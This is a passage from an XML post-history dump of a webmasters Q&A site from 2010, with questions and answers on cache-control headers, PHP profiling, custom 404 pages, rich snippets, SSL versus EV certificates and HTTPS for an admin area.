they're pretty good at detecting the difference between this and copied content, and 21% doesn't sound like something that's going to cause you any problems.&#xD;&#xA;&#xD;&#xA;Remember there are many different factors that affect the ranking of results, so even if you have seen a drop recently I would be wary of thinking that this was the direct result of your competitor's plagiarism." />
  <row Id="6111" PostHistoryTypeId="2" PostId="3122" RevisionGUID="d483ff05-f88d-4fb4-a128-fa7e04f3dd2c" CreationDate="2010-09-19T00:57:06.183" UserId="2005" Text="I've taken over a website that has an index.html page that redirects. This page gets cached. Obviously clearing the browser's cache entirely would solve the problem. Is there any way to go directly to mysite.com and be assured of getting the new page without completely clearing the cache?&#xD;&#xA;&#xD;&#xA;I'm looking for something similar to holding shift when reloading a page, only this time for the initial opening of a page.&#xD;&#xA;" />
  <row Id="6112" PostHistoryTypeId="1" PostId="3122" RevisionGUID="d483ff05-f88d-4fb4-a128-fa7e04f3dd2c" CreationDate="2010-09-19T00:57:06.183" UserId="2005" Text="Open a page that redirects without clearing cache" />
  <row Id="6113" PostHistoryTypeId="3" PostId="3122" RevisionGUID="d483ff05-f88d-4fb4-a128-fa7e04f3dd2c" CreationDate="2010-09-19T00:57:06.183" UserId="2005" Text="&lt;html&gt;&lt;firefox&gt;&lt;internet-explorer-9&gt;" />
  <row Id="6114" PostHistoryTypeId="2" PostId="3123" RevisionGUID="6987be92-fe31-4ebf-8c2c-09ae13abcfe6" CreationDate="2010-09-19T01:56:59.347" UserId="1253" Text="Just have that page send out anti-caching headers every time a user loads it. This will force the browser to get a fresh copy of the page every time.&#xD;&#xA;&#xD;&#xA;**You can use meta tags:**&#xD;&#xA;&#xD;&#xA;    &lt;META HTTP-EQUIV=&quot;CACHE-CONTROL&quot; CONTENT=&quot;NO-CACHE&quot;&gt;&#xD;&#xA;    &lt;META HTTP-EQUIV=&quot;PRAGMA&quot; CONTENT=&quot;NO-CACHE&quot;&gt;&#xD;&#xA;    &lt;META HTTP-EQUIV=&quot;Expires&quot; CONTENT=&quot;-1&quot;&gt; &#xD;&#xA;&#xD;&#xA;**In PHP send http headers**&#xD;&#xA;&#xD;&#xA;    Header( &quot;Last-Modified: &quot; . gmdate( &quot;D, j M Y H:i:s&quot; ) . &quot; GMT&quot; );&#xD;&#xA;    Header( &quot;Expires: &quot; . gmdate( &quot;D, j M Y H:i:s&quot;, time() ) . &quot; GMT&quot; );&#xD;&#xA;    Header( &quot;Cache-Control: no-store, no-cache, must-revalidate&quot; ); &#xD;&#xA;    Header( &quot;Cache-Control: post-check=0, pre-check=0&quot;, FALSE );&#xD;&#xA;    Header( &quot;Pragma: no-cache&quot; ); &#xD;&#xA;&#xD;&#xA;**In Apache .htaccess**&#xD;&#xA;&#xD;&#xA;    &lt;FilesMatch &quot;index.html$&quot;&gt;&#xD;&#xA;    FileETag None&#xD;&#xA;    &lt;IfModule mod_headers.c&gt;&#xD;&#xA;    Header unset ETag&#xD;&#xA;    Header set Cache-Control &quot;max-age=0, no-cache, no-store, must-revalidate&quot;&#xD;&#xA;    Header set Pragma &quot;no-cache&quot;&#xD;&#xA;    Header set Expires &quot;Wed, 11 Jan 1984 05:00:00 GMT&quot;&#xD;&#xA;    &lt;/IfModule&gt;&#xD;&#xA;    &lt;/FilesMatch&gt;" />
  <row Id="6115" PostHistoryTypeId="5" PostId="3123" RevisionGUID="53bbafb8-5cef-4003-99c9-41e20b6a30e5" CreationDate="2010-09-19T02:03:45.890" UserId="1253" Comment="added 51 characters in body; deleted 17 characters in body" Text="Just have that page send out anti-caching headers every time a user loads it. This will force the browser to get a fresh copy of the page every time.&#xD;&#xA;&#xD;&#xA;**You can use meta tags:**&#xD;&#xA;&#xD;&#xA;    &lt;META HTTP-EQUIV=&quot;CACHE-CONTROL&quot; CONTENT=&quot;NO-CACHE&quot;&gt;&#xD;&#xA;    &lt;META HTTP-EQUIV=&quot;PRAGMA&quot; CONTENT=&quot;NO-CACHE&quot;&gt;&#xD;&#xA;    &lt;META HTTP-EQUIV=&quot;Expires&quot; CONTENT=&quot;-1&quot;&gt; &#xD;&#xA;&#xD;&#xA;**In PHP send http headers (You'll have to tell Apache parse the file as PHP)**&#xD;&#xA;&#xD;&#xA;    Header( &quot;Last-Modified: &quot; . gmdate( &quot;D, j M Y H:i:s&quot; ) . &quot; GMT&quot; );&#xD;&#xA;    Header( &quot;Expires: Sat, 26 Jul 1997 05:00:00 GMT&quot; );&#xD;&#xA;    Header( &quot;Cache-Control: no-store, no-cache, must-revalidate&quot; ); &#xD;&#xA;    Header( &quot;Cache-Control: post-check=0, pre-check=0&quot;, FALSE );&#xD;&#xA;    Header( &quot;Pragma: no-cache&quot; ); &#xD;&#xA;&#xD;&#xA;**In Apache .htaccess**&#xD;&#xA;&#xD;&#xA;    &lt;FilesMatch &quot;index.html$&quot;&gt;&#xD;&#xA;    FileETag None&#xD;&#xA;    &lt;IfModule mod_headers.c&gt;&#xD;&#xA;    Header unset ETag&#xD;&#xA;    Header set Cache-Control &quot;max-age=0, no-cache, no-store, must-revalidate&quot;&#xD;&#xA;    Header set Pragma &quot;no-cache&quot;&#xD;&#xA;    Header set Expires &quot;Sat, 26 Jul 1997 05:00:00 GMT&quot;&#xD;&#xA;    &lt;/IfModule&gt;&#xD;&#xA;    &lt;/FilesMatch&gt;" />
  <row Id="6116" PostHistoryTypeId="5" PostId="3123" RevisionGUID="15571d9b-a6ab-41bb-ba26-8036ca7741f5" CreationDate="2010-09-19T02:12:25.367" UserId="1253" Comment="added 78 characters in body" Text="Just have that page send out anti-caching headers every time a user loads it. This will force the browser to get a fresh copy of the page every time. You can do this without affecting the caching of the other pages in the site.&#xD;&#xA;&#xD;&#xA;**You can use meta tags:**&#xD;&#xA;&#xD;&#xA;    &lt;META HTTP-EQUIV=&quot;CACHE-CONTROL&quot; CONTENT=&quot;NO-CACHE&quot;&gt;&#xD;&#xA;    &lt;META HTTP-EQUIV=&quot;PRAGMA&quot; CONTENT=&quot;NO-CACHE&quot;&gt;&#xD;&#xA;    &lt;META HTTP-EQUIV=&quot;Expires&quot; CONTENT=&quot;-1&quot;&gt; &#xD;&#xA;&#xD;&#xA;**In PHP send http headers (You'll have to tell Apache parse the file as PHP)**&#xD;&#xA;&#xD;&#xA;    Header( &quot;Last-Modified: &quot; . gmdate( &quot;D, j M Y H:i:s&quot; ) . &quot; GMT&quot; );&#xD;&#xA;    Header( &quot;Expires: Sat, 26 Jul 1997 05:00:00 GMT&quot; );&#xD;&#xA;    Header( &quot;Cache-Control: no-store, no-cache, must-revalidate&quot; ); &#xD;&#xA;    Header( &quot;Cache-Control: post-check=0, pre-check=0&quot;, FALSE );&#xD;&#xA;    Header( &quot;Pragma: no-cache&quot; ); &#xD;&#xA;&#xD;&#xA;**In Apache .htaccess**&#xD;&#xA;&#xD;&#xA;    &lt;FilesMatch &quot;index.html$&quot;&gt;&#xD;&#xA;    FileETag None&#xD;&#xA;    &lt;IfModule mod_headers.c&gt;&#xD;&#xA;    Header unset ETag&#xD;&#xA;    Header set Cache-Control &quot;max-age=0, no-cache, no-store, must-revalidate&quot;&#xD;&#xA;    Header set Pragma &quot;no-cache&quot;&#xD;&#xA;    Header set Expires &quot;Sat, 26 Jul 1997 05:00:00 GMT&quot;&#xD;&#xA;    &lt;/IfModule&gt;&#xD;&#xA;    &lt;/FilesMatch&gt;" />
  <row Id="6117" PostHistoryTypeId="2" PostId="3124" RevisionGUID="7f9d4e1f-dfa2-4563-8b65-73c4a4ae043a" CreationDate="2010-09-19T04:51:19.253" UserId="138" Text="When a well behaved web browser encounters cached content, it generally still requests the `head` portion of the cached document so that it can ensure that the content hasn't changed since it was last cached. Just as long as the `last-modified` or `content-length` changes, then you shouldn't have a problem.&#xD;&#xA;&#xD;&#xA;Issues arise when your web server has explicitly told web browsers to cache the index page heavilly, or when there's proxy servers inbetween.&#xD;&#xA;&#xD;&#xA;I take it you've already changed the `index.html` page but some users are still redirecting?" />
  <row Id="6118" PostHistoryTypeId="2" PostId="3125" RevisionGUID="6fed2e00-739a-4e8c-82d5-2f4a528ef7b8" CreationDate="2010-09-19T07:48:18.830" UserId="1988" Text="You could also do PHP profiling, using any of a number of profilers. My preferred is XDebug:&#xD;&#xA;&#xD;&#xA;http://www.xdebug.org/docs/profiler&#xD;&#xA;&#xD;&#xA;It does not require you to change any of your scripts. &#xD;&#xA;&#xD;&#xA;This should quickly point out the bottlenecks; It will also help with the MySQL part. Even though MySQL has its own reporting, you may be in a situation where the script does the same (quick) query for 1000 times consecutively. MySQL would not report this, but you'd notice from XDebug that a function has been called that many times for just one page.&#xD;&#xA;&#xD;&#xA;You may do an initial survey on a dev server; any optimization problems will show up quickly. From your production logs find out which are the most visited pages and analyze them first on the dev server." />
  <row Id="6119" PostHistoryTypeId="5" PostId="3125" RevisionGUID="89a4fd29-00b5-4b40-bf90-61d6ec588c10" CreationDate="2010-09-19T08:03:32.230" UserId="1988" Comment="added new idea" Text="You could also do PHP profiling, using any of a number of profilers. My preferred is XDebug:&#xD;&#xA;&#xD;&#xA;http://www.xdebug.org/docs/profiler&#xD;&#xA;&#xD;&#xA;It does not require you to change any of your scripts. &#xD;&#xA;&#xD;&#xA;This should quickly point out the bottlenecks; It will also help with the MySQL part. Even though MySQL has its own reporting, you may be in a situation where the script does the same (quick) query for 1000 times consecutively. MySQL would not report this, but you'd notice from XDebug that a function has been called that many times for just one page.&#xD;&#xA;&#xD;&#xA;You may do an initial survey on a dev server; any optimization problems will show up quickly. From your production logs find out which are the most visited pages and analyze them first on the dev server.&#xD;&#xA;&#xD;&#xA;If you still need to do profiling on the production server, consider enabling it randomly for a subset of the requests to minimize load. From the docs:&#xD;&#xA;&lt;Blockquote&gt;&#xD;&#xA;&#xD;&#xA;You can also selectively enable the profiler with the xdebug.profiler_enable_trigger setting set to 1. If it is set to 1, then you can enable the profiler by using a GET/POST or COOKIE variable of the name XDEBUG_PROFILE&#xD;&#xA;&#xD;&#xA;&lt;/Blockquote&gt;&#xD;&#xA;&#xD;&#xA;Apache mod_rewrite will help in adding the GET variable transparently without it being passed to/from the user.&#xD;&#xA;" />
  <row Id="6120" PostHistoryTypeId="2" PostId="3126" RevisionGUID="6ceabe7f-8df0-4868-9ab1-281763428067" CreationDate="2010-09-19T12:03:25.930" UserId="407" Text="You may wish to have a username field if you wish users to hide their email address or real name from other users/visitors.&#xD;&#xA;&#xD;&#xA;It's often called a nickname in these cases instead, and can sometimes be changed on the fly without affecting the user's login.&#xD;&#xA;&#xD;&#xA;I think the answer depends on what you're going to do with the information you collect e.g. not sending the user emails - don't ask for an email address, not displaying user information, don't collect a nickname etc.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="6121" PostHistoryTypeId="2" PostId="3127" RevisionGUID="bd13a1ad-b5c8-4752-a621-7f8ef1868726" CreationDate="2010-09-19T12:11:01.123" UserId="1910" Text="Username, email addresses and OpenId have their pros and cons.&#xD;&#xA;&#xD;&#xA;But never call it username and require that to be an email address!&#xD;&#xA;&#xD;&#xA;When registring I enter one of my prefered usernames as username. And it makes me angry when - after clicking OK - I get a message that the username is not a valid email address." />
  <row Id="6122" PostHistoryTypeId="2" PostId="3128" RevisionGUID="77e6970d-eca7-4162-8150-ee26468d47ea" CreationDate="2010-09-19T13:19:48.860" UserId="2020" Text="The installation requirements from the [Github page][1]:&#xD;&#xA;&#xD;&#xA;&gt; In order to run Diaspora, you will&#xD;&#xA;&gt; need to download the following&#xD;&#xA;&gt; dependencies (specific instructions&#xD;&#xA;&gt; follow):&#xD;&#xA;&gt; &#xD;&#xA;&gt;    * Build Tools - Packages needed to compile the components that follow.&#xD;&#xA;&gt;    * Ruby - The Ruby programming language. (We're using 1.8.7. It comes preinstalled on Mac OS X.)&#xD;&#xA;&gt;    * MongoDB - A snappy noSQL database.&#xD;&#xA;&gt;    * OpenSSL - An encryption library. (It comes preinstalled on Mac OS X and Ubuntu.)&#xD;&#xA;&gt;    * ImageMagick - An Image processing library used to resize uploaded photos.&#xD;&#xA;&gt;    * Git - The fast version control system.&#xD;&#xA;&gt; &#xD;&#xA;&gt; After you have Ruby installed on your&#xD;&#xA;&gt; system, you will need to get RubyGems,&#xD;&#xA;&gt; then install Bundler:&#xD;&#xA;&gt; &#xD;&#xA;&gt;    * RubyGems - Source for Ruby gems.&#xD;&#xA;&gt;    * Bundler - Gem management tool for Ruby projects.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;That is realistically beyond what your typical webhost will offer. (Git and even Ruby are non-standard for many webhosts. MongoDB? Get outta here...)&#xD;&#xA;&#xD;&#xA;You might be better off with a VPS.&#xD;&#xA;&#xD;&#xA;  [1]: http://github.com/diaspora/diaspora" />
  <row Id="6123" PostHistoryTypeId="2" PostId="3129" RevisionGUID="90df69ba-897b-4811-906f-e481aa8cab39" CreationDate="2010-09-19T15:22:27.137" UserId="89" Text="This can affect your ranking.&#xD;&#xA;&#xD;&#xA;Google is very secretive so this info is from what I've been told by other web masters that this happened to them, I have no idea if this behavior kicks in at above or below 21%.&#xD;&#xA;&#xD;&#xA;What happens is that Google will display just one site for this content (may be with other sites collapsed), if Google thinks the other site has more &quot;authority&quot; the other site rank for that content and not you.&#xD;&#xA;&#xD;&#xA;Usually, but not always, scraper sites have low Google rank and so will not displace the original in the search results - but if your competitor has good Google rank you may be in trouble.&#xD;&#xA;&#xD;&#xA;Now, if this competitor is a legitimate company from a country that respect copyrights you can probably send them a nice e-mail asking for the content to be removed followed by a not-so-nice letter from a lawyer demanding it will be removed. (I am not a lawyer, don't take legal advice from strangers on the internet)&#xD;&#xA;&#xD;&#xA;At the end of the day, your only defense is to be better at SEO than your competitor.&#xD;&#xA;" />
  <row Id="6124" PostHistoryTypeId="2" PostId="3130" RevisionGUID="05b65105-9acb-4f44-bb31-9917c2ddac89" CreationDate="2010-09-19T16:49:00.820" UserId="2007" Text="Can you rename the existing index.html file to another default directory index filename, like `index.htm`, `default.html`, `default.htm`, or `index.php`? This won't help when people have `index.html` cached and go to `http://www.example.com/index.html`, but it might help when people go straight to `http://www.example.com/`..." />
  <row Id="6125" PostHistoryTypeId="5" PostId="3051" RevisionGUID="f81cea21-932a-4522-8731-f8a1b13a1c00" CreationDate="2010-09-19T17:48:57.780" UserId="1979" Comment="added 1071 characters in body; added 2 characters in body" Text="We have two websites, A and B. A is tracked with Google Analytics.&#xD;&#xA;&#xD;&#xA;Users arrive at site A and log in to site B from there. We have teasers for content on site A on the log out page of site B. So:&#xD;&#xA;&#xD;&#xA;A -&gt; B -&gt; A&#xD;&#xA;&#xD;&#xA;My goal is to track how many visitors respond to the teasers on site B and visit A.&#xD;&#xA;&#xD;&#xA;I understand that after 30 minutes of inactivity a pageview starts a new visit.&#xD;&#xA;&#xD;&#xA;Am I right in assuming that if the user is done on site B **in less than 30 minutes** his original visit to A is simply continued? If so, would all traffic source info be &quot;carried over&quot;? For example, the user arrives via Google on A, logs in to B, logs off, goes to A. Would I then see Google as the traffic source when I look at the traffic sources of the landing pages on A?&#xD;&#xA;&#xD;&#xA;What would be a good way to accurately track clicks on the teasers? Tagging the links on B would be my preferred solution. We cannot install GA on B.&#xD;&#xA;&#xD;&#xA;Many thanks for your help!&#xD;&#xA;&#xD;&#xA;**UPDATE:**&#xD;&#xA;&#xD;&#xA;I decided to dig into this subject myself as I found a lot of contradictory info. Here's what I've found out so far:&#xD;&#xA;&#xD;&#xA; - The Firefox plugin Firebug (to look at request headers) and its extension Firecookie are useful tools for research on this topic.&#xD;&#xA; - GA's utmz cookie contains info on the referrer in its utmsr value. &#xD;&#xA; - During the **same** session, referral info is not overwritten by a second referral. So if the user takes the following path X -&gt; A -&gt; B -&gt; A, utmsr is X upon the second arrival on A (again, same session).&#xD;&#xA; - Sidenote: utmsr is overwritten if the second arrival is coming from search/organic.&#xD;&#xA; - When __utm.gif is requested, one of the GET variables of the request is utmr. utmr contains the page referrer, i.e. B in the path example above.&#xD;&#xA; - GA seems to use utmz for referral reporting and not utmr. This is based on preliminary research. However, it would also explain why you sometimes see referring sites which don't have links to the specific page you're looking at.&#xD;&#xA; - I'll do some more research and post it here.&#xD;&#xA;" />
  <row Id="6126" PostHistoryTypeId="2" PostId="3131" RevisionGUID="ed3fb465-5a69-4f93-9c9f-8136fb77bfe3" CreationDate="2010-09-19T21:39:55.173" UserId="1828" Text="We run an ecommerce site that was setup by a third party ecommerce software provider, basic shop with product pages, basket and checkout.&#xD;&#xA;&#xD;&#xA;The third party vendor set up the htaccess file so that if a non-existent URL is enetered it redirects to the homepage instead of a 404 error being generated.&#xD;&#xA;&#xD;&#xA;This results in google webmaster reporting duplicate titles and descriptions for pages that no longer exist.&#xD;&#xA;&#xD;&#xA;I think that it would be better for a dedicated 404 error page to be displayed rather than redirecting back to the homepage&#xD;&#xA;&#xD;&#xA;So is it better to have a website redirect a 404 to the homepage than have a dedicated 404 page instead?" />
  <row Id="6127" PostHistoryTypeId="1" PostId="3131" RevisionGUID="ed3fb465-5a69-4f93-9c9f-8136fb77bfe3" CreationDate="2010-09-19T21:39:55.173" UserId="1828" Text="Is it better to have an ErrorDocument 404 redirect back to the homepage or a standard 404 error page?" />
  <row Id="6128" PostHistoryTypeId="3" PostId="3131" RevisionGUID="ed3fb465-5a69-4f93-9c9f-8136fb77bfe3" CreationDate="2010-09-19T21:39:55.173" UserId="1828" Text="&lt;redirects&gt;&lt;htaccess&gt;&lt;google-webmaster-tools&gt;&lt;404&gt;" />
  <row Id="6129" PostHistoryTypeId="2" PostId="3132" RevisionGUID="099d6506-be62-430b-9823-2c9adaa665a6" CreationDate="2010-09-19T21:43:16.877" UserId="288" Text="I'd vote for a separate error page if only to let the users of your site know that the link they clicked failed or they typed the wrong URL. It would be confusing to get back to the home page. I know I'd be tempted to repeat my actions to see if I'd done something wrong!&#xD;&#xA;&#xD;&#xA;If you added a &quot;report this broken link&quot; link or even logged it yourself, you'd get notification and a chance to fix problems with the site." />
  <row Id="6130" PostHistoryTypeId="2" PostId="3133" RevisionGUID="29862f9e-7153-4913-9066-1cbff96d9b85" CreationDate="2010-09-19T21:45:28.833" UserId="1979" Text="So far, I've seen rich snippets in Google search results only for large sites with a high number of elements (people, events, recipes, etc.). &#xD;&#xA;&#xD;&#xA;Does anyone know of an example where rich snippets are displayed for a small site with only a handful/a few dozen elements? &#xD;&#xA;&#xD;&#xA;Our own site has around 10 events (we are a specialized conference organizer) with rich snippet markup but so far they aren't displayed. To avoid misunderstandings: I'm interested in hearing about all types, not just events." />
  <row Id="6131" PostHistoryTypeId="1" PostId="3133" RevisionGUID="29862f9e-7153-4913-9066-1cbff96d9b85" CreationDate="2010-09-19T21:45:28.833" UserId="1979" Text="Rich snippets for small sites" />
  <row Id="6132" PostHistoryTypeId="3" PostId="3133" RevisionGUID="29862f9e-7153-4913-9066-1cbff96d9b85" CreationDate="2010-09-19T21:45:28.833" UserId="1979" Text="&lt;google&gt;&lt;rdfa&gt;&lt;microdata&gt;&lt;microformats&gt;" />
  <row Id="6133" PostHistoryTypeId="2" PostId="3134" RevisionGUID="3c91f203-983c-41e7-9d68-969bff3a38b6" CreationDate="2010-09-19T22:04:44.813" UserId="1206" Text="As I understand it, SSL certificates verify the connection between the host and the browser, preventing MITM attacks. Is it true that EV SSL verifies the host itself, thus preventing (in theory) phising attacks? Are there any other differences between EV SSL and regular SSL?" />
  <row Id="6134" PostHistoryTypeId="1" PostId="3134" RevisionGUID="3c91f203-983c-41e7-9d68-969bff3a38b6" CreationDate="2010-09-19T22:04:44.813" UserId="1206" Text="SSL versus EV SSL" />
  <row Id="6135" PostHistoryTypeId="3" PostId="3134" RevisionGUID="3c91f203-983c-41e7-9d68-969bff3a38b6" CreationDate="2010-09-19T22:04:44.813" UserId="1206" Text="&lt;ssl&gt;&lt;security&gt;&lt;ssl-certificate&gt;" />
  <row Id="6136" PostHistoryTypeId="2" PostId="3135" RevisionGUID="4d06c3f3-4f49-4aef-95cd-b134e6461dd5" CreationDate="2010-09-19T22:07:01.200" UserId="1979" Text="Strong vote for a dedicated 404 page.&#xD;&#xA;&#xD;&#xA; - Less confusing for the user&#xD;&#xA; - Allows you to see more easily if something is wrong (through web server error log, your own logging script and/or Google Analytics)&#xD;&#xA; - You can tailor the page towards the situation (for example display a list of product categories)&#xD;&#xA; - Allows search engines to clean up their indexes. No longer existing pages in a search engine's index may prevent new pages from being added.&#xD;&#xA;&#xD;&#xA;On the last point: Make sure to actually return a 404 error. From what you're saying it sounds like it's currently a 301/302 redirect. To do so include&#xD;&#xA;&#xD;&#xA;    ErrorDocument 404 /notfound.htm&#xD;&#xA;&#xD;&#xA;in your htaccess file.&#xD;&#xA;&#xD;&#xA;Also see&#xD;&#xA;&#xD;&#xA;http://googlewebmastercentral.blogspot.com/2008/08/make-your-404-pages-more-useful.html&#xD;&#xA;&#xD;&#xA;" />
  <row Id="6137" PostHistoryTypeId="2" PostId="3136" RevisionGUID="a6a4ec3e-055b-4e70-8d30-ff4c48428a41" CreationDate="2010-09-19T22:42:39.367" UserId="1857" Text="SSL certificates are used for setting up an *encrypted* connection between client and server.  The verification part is in theory done by the certificate issuer **before** issuing the certification.&#xD;&#xA;&#xD;&#xA;But the SSL market is a bit of a scam, really. Many SSL certificates are issued with an absolute minimum of verification of identity. You can easily find SSL certificates for less than 20 USD, and how much detective work can you get for 20 USD... And mind you, these are not self-signed certificates, but certificates with the same root as the expensive ones from Comodo, Thawte etc.&#xD;&#xA;&#xD;&#xA;Extended Validation (EV) certificates are only different in one aspect, but it's an important one: There are clear [minimum standards for the verification of identity][1] before issuing the certificate. Based on this, all modern browsers give EV certificates a much more prominent treatment in the user interface -- the '[green bar][2]'.&#xD;&#xA;&#xD;&#xA;So the big question for site owners is **&quot;Do EV certificates reduce abandonment rate?&quot;**. Predictably the certificate issuers have released whitepapers stating that they do work, and are worth their much higher price tags. I'm not so sure. I have looked for independent proof of this, and I haven't seen any yet.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/EV_SSL#Issuing_criteria&#xD;&#xA;  [2]: http://www.microsoft.com/windows/products/winfamily/ie/ev/default.mspx" />
  <row Id="6138" PostHistoryTypeId="5" PostId="3136" RevisionGUID="04d7388c-2a4c-4819-8cd2-ab465f488c3b" CreationDate="2010-09-19T22:50:46.347" UserId="1857" Comment="added 199 characters in body" Text="SSL certificates are used for setting up an *encrypted* connection between client and server.  The identity verification part is in theory done by the certificate issuer **before** issuing the certificate.&#xD;&#xA;&#xD;&#xA;**But the SSL market is a bit of a scam, really.** Many SSL certificates are issued with an absolute minimum of verification of identity. You can easily find SSL certificates for less than 20 USD, and how much detective work can you get for 20 USD... And mind you, these are not self-signed certificates, but certificates with the same root as the expensive ones from Comodo, Thawte etc.&#xD;&#xA;&#xD;&#xA;Extended Validation (EV) certificates are only different in one aspect, but it's an important one: **There are clear [minimum standards for the verification of identity][1] before issuing the certificate.** Based on this, all modern browsers give EV certificates a much more prominent treatment in the user interface -- the '[green bar][2]'.&#xD;&#xA;&#xD;&#xA;So the big question for site owners is **&quot;Do EV certificates reduce abandonment rate?&quot;**. Predictably the certificate issuers have released whitepapers stating that they do work, and are worth their much higher price tags. I'm not so sure. I have looked for independent proof of this, and I haven't seen any yet.&#xD;&#xA;&#xD;&#xA;One last thing: Getting a regular SSL certificate is easy, getting an EV one is much harder. You'll generally have to jump through more hoops to establish your identity for EV certs.&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/EV_SSL#Issuing_criteria&#xD;&#xA;  [2]: http://www.microsoft.com/windows/products/winfamily/ie/ev/default.mspx" />
  <row Id="6139" PostHistoryTypeId="5" PostId="3134" RevisionGUID="201fe6d9-2e47-4db8-9421-b859047fd474" CreationDate="2010-09-19T22:52:27.187" UserId="1206" Comment="added 1 characters in body" Text="As I understand it, SSL certificates verify the connection between the host and the browser, preventing MITM attacks. Is it true that EV SSL verifies the host itself, thus preventing (in theory) phishing attacks? Are there any other differences between EV SSL and regular SSL?" />
  <row Id="6140" PostHistoryTypeId="2" PostId="3137" RevisionGUID="41f730ac-f5d4-4575-a7ee-3e3fb7840d56" CreationDate="2010-09-20T01:13:56.923" UserId="138" Text="&gt; Is it true that EV SSL verifies the&#xD;&#xA;&gt; host itself, thus preventing (in&#xD;&#xA;&gt; theory) phishing attacks?&#xD;&#xA;&#xD;&#xA;Correct, that's the theory, and after having [gone through an EV application][1], I can report that they are incredibly stingent. Our company address was oh-so-slightly different in our application as to what was listed in some company register they were referring to, and our application was rejected multiple times until we got all of the details sorted out.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://webmasters.stackexchange.com/questions/2214/should-we-get-an-ev-certificate" />
  <row Id="6141" PostHistoryTypeId="2" PostId="3138" RevisionGUID="b5375377-6d64-4d2d-8bc1-be217a9697a2" CreationDate="2010-09-20T03:13:41.520" UserId="1160" Text="Honestly, I have a feeling it is about as elusive as [getting Google Sitelinks][1]. My recommendation is to follow the [Google guide for Rich Snippits][2] and when the site gets enough PageRank and keywords hits, it will naturally start appearing. &#xD;&#xA;&#xD;&#xA;Also be sure to watch your [webmaster tools][3] closely and address any issues Google finds. There is also a section called &quot;Sidewiki&quot; under the labs option to force the description text for the main site search result.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.seopedia.org/internet-marketing-and-seo/google-sitelinks-the-ultimate-faq/&#xD;&#xA;  [2]: http://www.google.com/support/webmasters/bin/answer.py?hl=en&amp;answer=99170&#xD;&#xA;  [3]: http://www.google.com/webmasters/tools/" />
  <row Id="6142" PostHistoryTypeId="5" PostId="3136" RevisionGUID="d36d1c99-247a-46f1-a548-37fb1e1b01db" CreationDate="2010-09-20T03:19:42.283" UserId="1857" Comment="added 461 characters in body" Text="SSL certificates are used for setting up an *encrypted* connection between client and server.  The identity verification part is in theory done by the certificate issuer **before** issuing the certificate.&#xD;&#xA;&#xD;&#xA;**But the SSL market is a bit of a scam, really.** Many SSL certificates are issued with an absolute minimum of verification of identity. You can easily find SSL certificates for less than 20 USD, and how much detective work can you get for 20 USD... And mind you, these are not self-signed certificates, but certificates with the same root as the expensive ones from Comodo, Thawte etc.&#xD;&#xA;&#xD;&#xA;Extended Validation (EV) certificates are only different in one aspect, but it's an important one: **There are clear [minimum standards for the verification of identity][1] before issuing the certificate.** Based on this, all modern browsers give EV certificates a much more prominent treatment in the user interface -- the '[green bar][2]'.&#xD;&#xA;&#xD;&#xA;So the big question for site owners is **&quot;Do EV certificates reduce abandonment rate?&quot;**. Predictably the certificate issuers have released whitepapers stating that they do work, and are worth their much higher price tags. I'm not so sure. I have looked for independent proof of this, and I haven't seen any yet.&#xD;&#xA;&#xD;&#xA;Getting a regular SSL certificate is easy, getting an EV one is much harder. You'll generally have to jump through more hoops to establish your identity for EV certs.&#xD;&#xA;&#xD;&#xA;&gt; Is it true that EV SSL verifies the host itself, thus preventing (in theory) phishing attacks?&#xD;&#xA;&#xD;&#xA;**They help, but they do not *prevent* phishing attacks.** A phishing attack is someone else impersonating you, in any media from websites to the telephone or fax. If your users look for the EV green bar with your company name, then a EV cert offers some protection against phishing on the web. But how many users really pay attention to this? I'm guessing it's a minority.&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/EV_SSL#Issuing_criteria&#xD;&#xA;  [2]: http://www.microsoft.com/windows/products/winfamily/ie/ev/default.mspx" />
  <row Id="6143" PostHistoryTypeId="5" PostId="3138" RevisionGUID="7d7e7399-5dfb-40fc-b113-9319084254d8" CreationDate="2010-09-20T03:20:47.260" UserId="1160" Comment="additional info; deleted 10 characters in body" Text="Honestly, I have a feeling it is about as elusive as [getting Google Sitelinks][1]. My recommendation is to follow the [Google guide for Rich Snippits][2] and when the site gets enough PageRank and keywords hits, it will naturally start appearing. &#xD;&#xA;&#xD;&#xA;Also be sure to watch your [webmaster tools][3] closely and address any issues Google finds. There is also a section called &quot;Sidewiki&quot; under the labs option to force the description text for the main site search result.&#xD;&#xA;&#xD;&#xA;[This page][4] also has useful information and indicates your root cause why they might not be working: &#xD;&#xA;&#xD;&#xA;    Who is eligible for Rich Snippets?&#xD;&#xA;    Currently, review sites and social networking/people profile sites are eligible. &#xD;&#xA;    We plan to expand Rich Snippets to other types of content in the future.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.seopedia.org/internet-marketing-and-seo/google-sitelinks-the-ultimate-faq/&#xD;&#xA;  [2]: http://www.google.com/support/webmasters/bin/answer.py?hl=en&amp;answer=99170&#xD;&#xA;  [3]: http://www.google.com/webmasters/tools/&#xD;&#xA;  [4]: http://knol.google.com/k/google-rich-snippets-tips-and-tricks#" />
  <row Id="6144" PostHistoryTypeId="2" PostId="3139" RevisionGUID="3de4664a-d6e3-4fe0-ba98-946c0ce34954" CreationDate="2010-09-20T05:43:51.863" UserId="1943" Text="We have a site which is http. But it has an admin part. How can we 'put' the admin part over the https? &#xD;&#xA;&#xD;&#xA;For example, WordPress (which I know): The site is located at http://foo.com but we want to have https://foo.com/wp-admin/&#xD;&#xA;&#xD;&#xA;How to do this?&#xD;&#xA;&#xD;&#xA;TIA" />
  <row Id="6145" PostHistoryTypeId="1" PostId="3139" RevisionGUID="3de4664a-d6e3-4fe0-ba98-946c0ce34954" CreationDate="2010-09-20T05:43:51.863" UserId="1943" Text="Http for one part of the site, https for other. How to?" />
  <row Id="6146" PostHistoryTypeId="3" PostId="3139" RevisionGUID="3de4664a-d6e3-4fe0-ba98-946c0ce34954" CreationDate="2010-09-20T05:43:51.863" UserId="1943" Text="&lt;ssl&gt;&lt;security&gt;&lt;http&gt;" />
